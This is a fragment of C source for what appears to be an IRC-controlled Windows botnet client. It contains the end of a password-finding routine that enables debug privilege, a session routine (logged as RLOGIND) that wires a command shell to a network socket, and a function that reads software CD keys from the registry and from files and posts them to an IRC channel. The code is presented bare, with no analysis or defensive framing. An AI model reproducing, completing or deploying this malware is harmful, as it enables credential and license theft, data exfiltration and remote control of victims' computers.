AdjustPrivileges("SeDebugPrivilege", FALSE); FreeLibrary(hNtDll); } else sprintf(sendbuf, "[FINDPASS]: Failed to enable Debug Privilege."); } else sprintf(sendbuf, "[FINDPASS]: Only supported on Windows NT/2000."); if (!findpass.silent) irc_privmsg(findpass.sock,findpass.chan,sendbuf,findpass.notice); addlog(sendbuf); clearthread(findpass.threadnum); ExitThread(0); }
static PSESSION_DATA CreateSession(int threadnum) { PSESSION_DATA Session = NULL; BOOL Result; SECURITY_ATTRIBUTES SecurityAttributes; HANDLE ShellStdinPipe = NULL, ShellStdoutPipe = NULL; if ((Session = (PSESSION_DATA)malloc(sizeof(SESSION_DATA))) == NULL) return (NULL); Session->ReadPipeHandle = NULL; Session->WritePipeHandle = NULL; SecurityAttributes.nLength = sizeof(SecurityAttributes); SecurityAttributes.lpSecurityDescriptor = NULL; SecurityAttributes.bInheritHandle = TRUE; if ((Result = CreatePipe(&Session->ReadPipeHandle,&ShellStdoutPipe,&SecurityAttributes,0)) == FALSE) { addlogv("[RLOGIND]: Failed to create shell stdout pipe, error: <%d>.", GetLastError()); goto Failure; } if ((Result = CreatePipe(&ShellStdinPipe,&Session->WritePipeHandle,&SecurityAttributes,0)) == FALSE) { addlogv("[RLOGIND]: Failed to create shell stdin pipe, error: <%d>.", GetLastError()); goto Failure; } Session->ProcessHandle = StartShell(ShellStdinPipe, ShellStdoutPipe, threadnum); CloseHandle(ShellStdinPipe); CloseHandle(ShellStdoutPipe); if (Session->ProcessHandle == NULL) { addlog("[RLOGIND]: Failed to execute shell."); goto Failure; } Session->ClientSocket = INVALID_SOCKET; return (Session); Failure: if (ShellStdinPipe != NULL) CloseHandle(ShellStdinPipe); if (ShellStdoutPipe != NULL) CloseHandle(ShellStdoutPipe); if (Session->ReadPipeHandle != NULL) CloseHandle(Session->ReadPipeHandle); if (Session->WritePipeHandle != NULL) CloseHandle(Session->WritePipeHandle); free(Session); return (NULL); }
void getcdkeys(SOCKET sock, char *chan, BOOL notice) { char sendbuf[IRCLINE], line[100], szPath[MAX_PATH]; unsigned char szDataBuf[128]; FILE *fp; HKEY hkey; LONG lRet; DWORD dwSize = 128; for (unsigned int i=0; regkeys[i].subkey; i++) { lRet = fRegOpenKeyEx(regkeys[i].hkey, regkeys[i].subkey, 0, KEY_READ, &hkey); if(fRegQueryValueEx(hkey, regkeys[i].value, NULL, NULL, szDataBuf, &dwSize) == ERROR_SUCCESS) { if (regkeys[i].file) { sprintf(szPath, "%s\\%s", szDataBuf, regkeys[i].file); if((fp=fopen(szPath,"r"))!=NULL) { while(fgets(line,sizeof(line),fp)) { if(!strstr(line, regkeys[i].tag)) { if (strchr(regkeys[i].tag,'=')) { strtok(line,"="); sprintf(sendbuf, "4<<12%s CD Key: (%s).4>> ",regkeys[i].name,strtok(NULL, "=")); } else sprintf(sendbuf, "4<<12%s CD Key: (%s).4>> ",regkeys[i].name,line); irc_privmsg(sock,chan,sendbuf,notice); addlog(sendbuf); break; } } fclose(fp); } } else { sprintf(sendbuf, "4<<12%s CD Key: (%s).4>> ",regkeys[i].name,szDataBuf); irc_privmsg(sock,chan,sendbuf,notice); addlog(sendbuf); } } fRegCloseKey(hkey); } return; }